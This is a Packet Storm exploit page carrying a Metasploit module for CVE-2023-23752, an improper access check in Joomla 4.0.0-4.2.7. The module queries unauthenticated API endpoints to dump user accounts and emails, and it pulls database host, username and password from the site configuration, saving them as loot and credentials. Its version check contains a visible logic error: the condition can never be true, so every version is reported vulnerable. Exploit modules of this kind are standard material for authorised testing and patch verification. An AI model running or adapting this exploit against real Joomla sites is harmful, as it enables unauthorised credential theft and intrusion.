what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Joomla API Improper Access Checks

Joomla API Improper Access Checks
Posted Sep 1, 2024
Authored by h00die, Tianji Lab | Site metasploit.com

Joomla versions between 4.0.0 and 4.2.7, inclusive, contain an improper API access vulnerability. This vulnerability allows unauthenticated users access to webservice endpoints which contain sensitive information. Specifically for this module we exploit the users and config/application endpoints. This Metasploit module was tested against Joomla 4.2.7 running on Docker.

tags | exploit
advisories | CVE-2023-23752
SHA-256 | fa67ae7e6f213f19e195eecd75ea212d3daefe54df94381a906f0a5269cb2249

Joomla API Improper Access Checks

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HTTP::Joomla

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Joomla API Improper Access Checks',
'Description' => %q{
Joomla versions between 4.0.0 and 4.2.7, inclusive, contain an improper API access vulnerability.
This vulnerability allows unauthenticated users access to webservice endpoints which contain
sensitive information. Specifically for this module we exploit the users and config/application
endpoints.

This module was tested against Joomla 4.2.7 running on Docker.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Tianji Lab', # original PoC, analysis
],
'References' => [
['EDB', '51334'],
['URL', 'https://developer.joomla.org/security-centre/894-20230201-core-improper-access-check-in-webservice-endpoints.html'],
['URL', 'https://nsfocusglobal.com/joomla-unauthorized-access-vulnerability-cve-2023-23752-notice/'],
['URL', 'https://attackerkb.com/topics/18qrh3PXIX/cve-2023-23752'],
['CVE', '2023-23752'],
],
'Targets' => [
['Joomla 4.0.0 - 4.2.7', {}],
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
},
'DisclosureDate' => '2023-02-01',
'DefaultTarget' => 0
)
)
# set the default port, and a URI that a user can set if the app isn't installed to the root
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [true, 'The URI of the Joomla Application', '/']),
]
)
end

def check_host(_ip)
unless joomla_and_online?
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service or not detected as Joomla")
end

version = joomla_version
if version.nil?
return Exploit::CheckCode::Safe("#{peer} - Unable to determine Joomla Version")
end

vprint_status("Joomla version detected: #{version}")
ver_no = Rex::Version.new(version)
if ver_no < Rex::Version.new('4.0.0') && ver_no >= Rex::Version.new('4.2.8')
return Exploit::CheckCode::Safe("Joomla version #{ver_no} is NOT vulnerable")
end

Exploit::CheckCode::Appears("Joomla version #{ver_no} is vulnerable")
end

def run_host(ip)
vprint_status('Attempting user enumeration')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'index.php', 'v1', 'users'),
'headers' => {
# header is needed, it passes back JSON anyways.
'Accept' => '*/*'
},
'vars_get' => {
'public' => 'true'
}
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Page didn't load correctly (response code: #{res.code})") unless res.code == 200

tbl = Rex::Text::Table.new(
'Header' => 'Joomla Users',
'Indent' => 1,
'Columns' => ['ID', 'Super User', 'Name', 'Username', 'Email', 'Send Email', 'Register Date', 'Last Visit Date', 'Group Names']
)

users = res.get_json_document
fail_with(Failure::UnexpectedReply, 'JSON document not returned') unless users # < json data wasn't properly formatted
fail_with(Failure::UnexpectedReply, "'data' field in JSON document not found") unless users['data'] # < json data was properly formatted by the expected key wasn't present

loot_path = store_loot('joomla.users', 'application/json', ip, res.body, 'Joomla Users')
print_good("Users JSON saved to #{loot_path}")

users = users['data']
users.each do |user|
unless user['type'] == 'users'
next
end

tbl << [
user['attributes']['id'].to_s,
user['attributes']['group_names'].include?('Super Users') ? '*' : '',
user['attributes']['name'].to_s,
user['attributes']['username'].to_s,
user['attributes']['email'].to_s,
user['attributes']['sendEmail'].to_s,
user['attributes']['registerDate'].to_s,
user['attributes']['lastvisitDate'].to_s,
user['attributes']['group_names'].to_s,
]
end

print_good(tbl.to_s)

vprint_status('Attempting config enumeration')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'index.php', 'v1', 'config', 'application'),
'headers' => {
# header is needed, it passes back JSON anyways.
'Accept' => '*/*'
},
'vars_get' => {
'public' => 'true'
}
)

fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Page didn't load correctly (response code: #{res.code})") unless res.code == 200

tbl = Rex::Text::Table.new(
'Header' => 'Joomla Config',
'Indent' => 1,
'Columns' => ['Setting', 'Value']
)

config = res.get_json_document
fail_with(Failure::UnexpectedReply, 'JSON document not returned') unless config # < json data wasn't properly formatted
fail_with(Failure::UnexpectedReply, "'data' field in JSON document not found") unless config['data'] # < json data was properly formatted by the expected key wasn't present

loot_path = store_loot('joomla.config', 'application/json', ip, res.body, 'Joomla Config')
print_good("Config JSON saved to #{loot_path}")

config = config['data']
credential_data = {
protocol: 'tcp',
workspace_id: myworkspace_id,
port: 1, # we dont get this data back so just set it to something obviously wrong instead of guessing
origin_type: :service,
private_type: :password,
module_fullname: fullname,
status: Metasploit::Model::Login::Status::UNTRIED
}
config.each do |setting|
if setting['attributes'].key?('dbtype')
credential_data[:service_name] = setting['attributes']['dbtype'].to_s
if setting['attributes']['dbtype'].to_s == ''
credential_data[:port] = '3306' # taking a guess since this info isn't returned but is required for create_credential_and_login
end
tbl << ['dbtype', setting['attributes']['dbtype'].to_s]
elsif setting['attributes'].key?('host')
credential_data[:address] = setting['attributes']['host'].to_s
tbl << ['db host', setting['attributes']['host'].to_s]
elsif setting['attributes'].key?('password')
credential_data[:private_data] = setting['attributes']['password']
tbl << ['db password', setting['attributes']['password'].to_s]
elsif setting['attributes'].key?('user')
credential_data[:username] = setting['attributes']['user'].to_s
tbl << ['db user', setting['attributes']['user'].to_s]
elsif setting['attributes'].key?('db')
tbl << ['db name', setting['attributes']['db'].to_s]
elsif setting['attributes'].key?('dbprefix')
tbl << ['db prefix', setting['attributes']['dbprefix'].to_s]
elsif setting['attributes'].key?('dbencryption')
tbl << ['db encryption', setting['attributes']['dbencryption'].to_s]
end
end
# if db host isn't a FQDN or IP, this will silently fail to save.
create_credential_and_login(credential_data)

print_good(tbl.to_s)
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close